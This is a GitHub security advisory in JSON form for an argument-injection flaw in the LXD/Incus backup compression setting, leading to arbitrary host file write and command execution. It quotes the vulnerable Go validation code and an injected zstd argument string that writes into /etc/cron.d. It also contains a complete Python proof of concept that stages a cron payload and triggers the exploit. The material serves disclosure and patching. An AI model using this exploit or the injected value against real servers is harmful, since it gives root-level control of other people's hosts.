1 line
11 KiB
JSON
1 line
11 KiB
JSON
{"schema_version":"1.9.2","id":"GHSA-fmc8-p6q7-75cc","published":"2026-11-06T19:36:37Z","modified":"2026-11-06T19:45:05.051002137Z","related":["CVE-2026-48755"],"summary":"LXD has argument injection in backup compression algorithm leading to AFW and ACE","details":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4\n\n### Summary\n\nImproper validation of user-provided backup compression algorithm leads to\nargument injection in the constructed command line. This leads to an\narbitrary file write on the host, possibly leading to arbitrary command\nexecution.\n\n\n### Details\n\nIncus validates `compression_algorithm` by parsing it into fields and checking\nonly the first token against an allowlist:\n\n```go\nfields, err := shellquote.Split(value)\n...\nif !slices.Contains([]string{\"bzip2\", \"gzip\", \"lz4\", \"lzma\", \"pigz\", \"pzstd\", \"pxz\", \"tar2sqfs\", \"xz\", \"zstd\"}, fields[0]) {\n return fmt.Errorf(\"Compression algorithm %q isn't currently supported\", fields[0])\n}\n_, err = exec.LookPath(fields[0])\n```\n\nExtra arguments are not rejected. `compressFile()` then prepends `-c` and\npasses the remaining user-supplied fields to the compressor:\n\n```go\nargs := []string{\"-c\"}\nif len(fields) > 1 {\n args = append(args, fields[1:]...)\n}\ncmd := exec.Command(fields[0], args...)\ncmd.Stdin = infile\ncmd.Stdout = outfile\n```\n\nWith a value like:\n\n```text\nzstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload\n```\n\nthe daemon executes the equivalent of:\n\n```text\nzstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload\n```\n\n### PoC\n\n```\npython3 poc.py \\\n\t--insecure --url https://remote-incus:8443 \\\n\t--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \\\n\t--instance c01 \\\n\t--execute --yes-i-understand-this-writes-host-file\n```\n\nThe following was generated by an LLM model.\n\n```\n#!/usr/bin/env python3\n\"\"\"Short remote Incus backup compression zstd cron RCE PoC.\n\nDry-run is the default. --execute uploads a cron payload into an instance and\nthen asks Incus for a direct backup with a zstd argument-injection compressor:\n\n zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>\n\nThe direct backup may fail after zstd runs; the host file write is the primitive.\nUse only on an authorized Incus server.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport os\nimport shlex\nimport sys\nimport urllib.parse\nfrom pathlib import PurePosixPath\nfrom typing import Any\n\nimport requests\n\n\ndef q(value: str) -> str:\n return urllib.parse.quote(value, safe=\"\")\n\n\ndef api(base: str, endpoint: str, **params: str) -> str:\n return base.rstrip(\"/\") + endpoint + (\"?\" + urllib.parse.urlencode(params) if params else \"\")\n\n\ndef project_instance(project: str, instance: str) -> str:\n return instance if project == \"default\" else f\"{project}_{instance}\"\n\n\ndef clean_guest_path(path: str) -> str:\n if not path.startswith(\"/\"):\n raise ValueError(\"--guest-path must be absolute\")\n if \"..\" in PurePosixPath(path).parts:\n raise ValueError(\"--guest-path must not contain '..'\")\n return os.path.normpath(\"/\" + path.lstrip(\"/\")).lstrip(\"/\")\n\n\ndef source_path(args: argparse.Namespace) -> str:\n if args.source_host_path:\n return args.source_host_path\n return os.path.join(\n args.incus_dir,\n \"storage-pools\",\n args.pool,\n args.storage_kind,\n project_instance(args.project, args.instance),\n \"rootfs\",\n clean_guest_path(args.guest_path),\n )\n\n\ndef cron(command: str) -> bytes:\n return f\"* * * * * root /bin/sh -c {shlex.quote(command)}\\n\".encode()\n\n\ndef session(args: argparse.Namespace) -> requests.Session:\n s = requests.Session()\n s.verify = False if args.insecure else (args.cacert or True)\n if args.cert or args.key:\n s.cert = (args.cert, args.key)\n if args.token:\n s.headers[\"Authorization\"] = \"Bearer \" + args.token\n s.headers[\"User-Agent\"] = \"incus-zstd-backup-rce-poc\"\n if args.insecure:\n requests.packages.urllib3.disable_warnings() # type: ignore[attr-defined]\n return s\n\n\ndef check(resp: requests.Response, what: str) -> requests.Response:\n if resp.status_code >= 400:\n try:\n detail: Any = resp.json()\n except Exception:\n detail = resp.text[:2048]\n raise RuntimeError(f\"{what} failed: HTTP {resp.status_code}: {detail}\")\n return resp\n\n\ndef upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:\n url = api(args.url, f\"/1.0/instances/{q(args.instance)}/files\", project=args.project, path=args.guest_path)\n headers = {\n \"Content-Type\": \"application/octet-stream\",\n \"X-Incus-type\": \"file\",\n \"X-Incus-write\": \"overwrite\",\n \"X-Incus-uid\": \"0\",\n \"X-Incus-gid\": \"0\",\n \"X-Incus-mode\": \"0644\",\n }\n print(f\"[*] uploading cron payload to {args.instance}:{args.guest_path}\")\n check(s.post(url, data=payload, headers=headers, timeout=args.timeout), \"payload upload\")\n\n\ndef trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:\n url = api(args.url, f\"/1.0/instances/{q(args.instance)}/backups\", project=args.project)\n print(\"[*] sending direct backup request\")\n resp = s.post(\n url,\n data=json.dumps(body).encode(),\n headers={\"Accept\": \"application/octet-stream\", \"Content-Type\": \"application/json\"},\n timeout=args.timeout,\n stream=True,\n )\n print(f\"[*] backup HTTP {resp.status_code}\")\n resp.close()\n if resp.status_code >= 400:\n print(\"[*] HTTP error after compressor launch is possible; check whether the cron file was written\")\n\n\ndef parse_args() -> argparse.Namespace:\n p = argparse.ArgumentParser(description=\"Remote Incus zstd backup-compression cron RCE PoC\")\n p.add_argument(\"--url\", required=True, help=\"https://host:8443\")\n p.add_argument(\"--cert\", help=\"client certificate PEM\")\n p.add_argument(\"--key\", help=\"client private key PEM\")\n p.add_argument(\"--cacert\", help=\"CA certificate PEM\")\n p.add_argument(\"--token\", help=\"bearer token\")\n p.add_argument(\"--insecure\", action=\"store_true\", help=\"disable TLS verification\")\n p.add_argument(\"--timeout\", type=int, default=180)\n\n p.add_argument(\"--project\", default=\"default\")\n p.add_argument(\"--instance\", required=True)\n p.add_argument(\"--pool\", default=\"default\")\n p.add_argument(\"--storage-kind\", choices=[\"containers\", \"virtual-machines\"], default=\"containers\")\n p.add_argument(\"--incus-dir\", default=\"/var/lib/incus\")\n p.add_argument(\"--guest-path\", default=\"/incus-zstd-cron\")\n p.add_argument(\"--source-host-path\", help=\"override daemon-readable host path for the staged payload\")\n p.add_argument(\"--cron-path\", default=\"/etc/cron.d/incus-zstd-rce\")\n p.add_argument(\"--command\", default=\"date >/incus-zstd-rce; id >>/incus-zstd-rce\")\n\n p.add_argument(\"--execute\", action=\"store_true\", help=\"stage payload and send backup request\")\n p.add_argument(\"--yes-i-understand-this-writes-host-file\", action=\"store_true\", help=\"required with --execute\")\n args = p.parse_args()\n\n if urllib.parse.urlparse(args.url).scheme != \"https\":\n p.error(\"--url must use https\")\n if bool(args.cert) != bool(args.key):\n p.error(\"--cert and --key must be supplied together\")\n if args.execute and not args.yes_i_understand_this_writes_host_file:\n p.error(\"--execute requires --yes-i-understand-this-writes-host-file\")\n try:\n clean_guest_path(args.guest_path)\n except ValueError as exc:\n p.error(str(exc))\n\n args.url = args.url.rstrip(\"/\")\n return args\n\n\ndef main() -> int:\n args = parse_args()\n src = source_path(args)\n payload = cron(args.command)\n compressor = f\"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}\"\n body = {\"compression_algorithm\": compressor, \"instance_only\": True}\n\n print(\"[*] target:\", args.url)\n print(\"[*] project:\", args.project)\n print(\"[*] instance:\", args.instance)\n print(\"[*] source host path:\", src)\n print(\"[*] cron path:\", args.cron_path)\n print(\"[*] payload:\", payload.decode().rstrip())\n print(\"[*] backup body:\", json.dumps(body, sort_keys=True))\n\n if not args.execute:\n print(\"[*] dry run only; add --execute and the confirmation flag to act\")\n return 0\n\n s = session(args)\n upload(s, args, payload)\n trigger_backup(s, args, body)\n return 0\n\n\nif __name__ == \"__main__\":\n try:\n raise SystemExit(main())\n except BrokenPipeError:\n raise SystemExit(1)\n except Exception as exc:\n print(f\"[-] {exc}\", file=sys.stderr)\n raise SystemExit(1)\n```\n\n\n### Impact\n\nImproperly validated compression algorithm argument leads to argument\ninjection leading to arbitrary file write with `zstd` and possibly\narbitrary command execution.","affected":[{"package":{"name":"github.com/canonical/lxd","ecosystem":"Go","purl":"pkg:golang/github.com/canonical/lxd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260630083100-c5184be310b1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-fmc8-p6q7-75cc/GHSA-fmc8-p6q7-75cc.json"}}],"references":[{"type":"WEB","url":"https://github.com/canonical/lxd/security/advisories/GHSA-fmc8-p6q7-75cc"},{"type":"WEB","url":"https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48755"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/0915bb88cbb0baed5ac1aef8e62079c57ac877da"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/0ab30d1bbe398ef6359fb8116d6852790a1f151d"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/1887e3da0f33af250d941e4e9ffafc8fd0911a89"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/32fd88560ddfc10b0a808c9f176d93faf0e0069a"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/932592daa790ddd1c0d074daee9c0522d8e268fe"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/9b09906b3b4c27ba4416e522644bd1d5191cdf5f"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/a2808429c2506d6fa5bf506e4790909c5bd3aac9"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/afc0e7ff003b81fa00f3aff147b99838a610f796"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/b3e8cedb39838e5effe7b9d0ae3a3ad3ce85f9ec"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/c6c999561ccf0024337e9f3746087c7f9c5f096f"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/e1e6018c509f52db0fb531c7c20fa7aac59858de"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/e224d6f8230a2da7ed7e60ab2aee44c788f9dba8"},{"type":"PACKAGE","url":"https://github.com/canonical/lxd"}],"database_specific":{"cwe_ids":["CWE-20"],"github_reviewed":true,"github_reviewed_at":"2026-11-06T19:36:37Z","nvd_published_at":null,"severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"}]} |